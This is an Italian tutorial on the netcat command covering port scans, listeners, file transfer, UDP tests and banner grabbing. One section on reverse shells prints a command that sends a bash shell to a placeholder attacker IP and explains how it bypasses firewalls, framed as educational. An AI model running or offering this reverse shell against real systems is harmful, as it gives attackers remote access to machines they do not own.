Se ti occupi di sistemi, reti o sicurezza informatica, prima o poi incontrerai netcat. Spesso abbreviato come nc, questo strumento è leggendario tra gli amministratori di sistema per un motivo semplice: fa praticamente tutto ciò che riguarda l'invio e la ricezione di dati attraverso una rete.

Non ha un'interfaccia grafica. Non ha menu complicati. È un comando da terminale, puro e crudo.

Cos'è esattamente il comando netcat?

Possiamo definire Netcat come un'utility di rete che legge e scrive dati attraverso connessioni TCP o UDP. Immaginalo come un ponte: da una parte c'è chi ascolta (il server) e dall'altra c'è chi invia (il client). La bellezza sta nella sua versatilità.

Puoi usarlo per verificare se una porta è aperta, per creare un server web minimale in tre secondi o addirittura per trasferire file tra due macchine senza configurare FTP o SSH. È essenziale. Quasi brutale nella sua semplicità.

Un dettaglio non da poco: esistono diverse versioni di netcat (come la versione OpenBSD o quella tradizionale). Anche se i concetti base sono identici, alcune flag potrebbero variare leggermente. In questa guida ci concentreremo sulla sintassi più comune.

Scansione delle porte e diagnostica

Il primo utilizzo che quasi tutti fanno del comando netcat è il controllo delle porte. Dimentica per un attimo i software pesanti; se vuoi sapere se un servizio è attivo su un IP specifico, nc è la scelta più rapida.

La sintassi base per fare un check veloce è questa:

  • nc -zv [indirizzo_ip] [porta]

Qui -z dice a netcat di non inviare alcun dato (scansione zero-I/O) e -v attiva la modalità verbose, così capiamo subito se la connessione è riuscita o se è stata rifiutata. Proprio così. Pochi caratteri e hai la risposta.

Se devi controllare un intero range di porte, non serve scrivere ogni comando a mano. Basta specificare l'intervallo: nc -zv 192.168.1.10 20-80. In pochi istanti saprai quali porte tra la 20 e la 80 sono aperte sul target.

Creare un server di ascolto in un lampo

Questa è la parte dove netcat diventa davvero interessante. Puoi trasformare qualsiasi macchina in un server che "ascolta" in entrata su una porta specifica. È utilissimo per testare i firewall o capire se i pacchetti arrivano a destinazione.

Per mettere netcat in modalità ascolto, usa la flag -l (listen):

nc -lvp 4444

In questo esempio, stiamo dicendo al sistema di ascoltare sulla porta 4444. La v serve a vedere chi si connette e la p specifica la porta. Una volta lanciato il comando, netcat rimarrà in attesa.

Ora, da un altro computer della rete, prova a collegarti: nc [ip_del_server] 4444. Appena premi invio, accadrà qualcosa di magico: avrai creato una chat testuale bidirezionale tra le due macchine. Quello che scrivi su un terminale appare sull'altro.

Semplice, no? Ma non sottovalutare la potenza di questo meccanismo. È la base per molti test di penetrazione e analisi di rete.

Trasferimento file senza complicazioni

Hai bisogno di spostare un log o un piccolo script su un server dove non hai accesso a SFTP? Netcat risolve il problema in due passaggi. Non serve installare nulla, basta che nc sia presente su entrambi i lati.

Sul lato ricevente (chi prende il file): Devi mettere netcat in ascolto e reindirizzare l'output verso un file locale. nc -l -p 1234 > file_ricevuto.txt

Sul lato mittente (chi invia il file): Devi leggere il file e spingere i dati verso l'IP del ricevente. nc [ip_destinazione] 1234 < file_da_inviare.txt

Il trasferimento avverrà alla massima velocità consentita dalla rete, senza crittografia e senza overhead. È un metodo rapido, ma attenzione: i dati viaggiano in chiaro. Non usarlo per password o dati sensibili.

Netcat e il protocollo UDP

Di default, netcat lavora su TCP. Ma cosa succede se devi testare un servizio DNS o un server DHCP che usa l'UDP? Basta aggiungere la flag -u.

La sintassi non cambia: nc -uvz [ip] [porta]. La differenza è che UDP è un protocollo connectionless. Questo significa che netcat non riceve sempre una conferma esplicita di "connessione stabilita" come accade con TCP, rendendo i test a volte meno intuitivi ma altrettanto fondamentali.

Il lato oscuro: Reverse Shell e sicurezza

Non possiamo parlare del comando netcat senza menzionare le reverse shell. Questo è l'uso più noto tra gli hacker etici (e non). In pratica, invece di connettersi al server, il server "chiama a casa" l'attaccante.

Perché farlo? Perché i firewall solitamente bloccano le connessioni in entrata, ma permettono quelle in uscita. Se un attaccante riesce a eseguire un comando netcat sulla macchina vittima che punta al proprio IP, scavalca il firewall e ottiene l'accesso al terminale.

Esempio (solo a scopo educativo): nc [ip_attaccante] 4444 -e /bin/bash. Questo comando invia l'intero shell di Linux all'IP remoto.

Nota bene: molte versioni moderne di netcat (come quella OpenBSD) hanno rimosso la flag -e per motivi di sicurezza. Non è più così facile creare backdoor, ma esistono workaround che ogni sistemista dovrebbe conoscere per proteggere i propri server.

Consigli rapidi per l'uso quotidiano

Se vuoi diventare veloce con netcat, tieni a mente questi piccoli trucchi:

  • Timeout: Usa -w [secondi] per evitare che il comando rimanga appeso all'infinito se l'host non risponde.
  • Banner Grabbing: Vuoi sapere quale versione di Apache o Nginx sta girando su un sito? Prova a connetterti alla porta 80 e invia una richiesta HTTP manuale (es. GET / HTTP/1.1). Netcat ti restituirà l'header del server.
  • Pipeline: Puoi concatenare netcat con altri comandi Linux. Ad esempio, puoi leggere un file e inviarlo a un server usando cat file.txt | nc [ip] [porta].

Netcat non è lo strumento più elegante, ma è probabilmente il più affidabile quando tutto il resto fallisce.

Riepilogo delle flag essenziali

Per chi vuole un riferimento rapido senza rileggere tutto:

-l: Entra in modalità ascolto (Listen).
-p: Specifica la porta da utilizzare.
-v: Modalità Verbose, mostra cosa sta succedendo.
-z: Scansione senza invio di dati.
-u: Utilizza il protocollo UDP invece di TCP.
-w: Imposta un tempo di timeout per la connessione.

Saper usare bene il comando netcat significa avere il pieno controllo sulla comunicazione tra le proprie macchine. Che tu debba fare debugging, spostare file velocemente o testare la sicurezza del tuo perimetro, questo strumento resta imbattibile.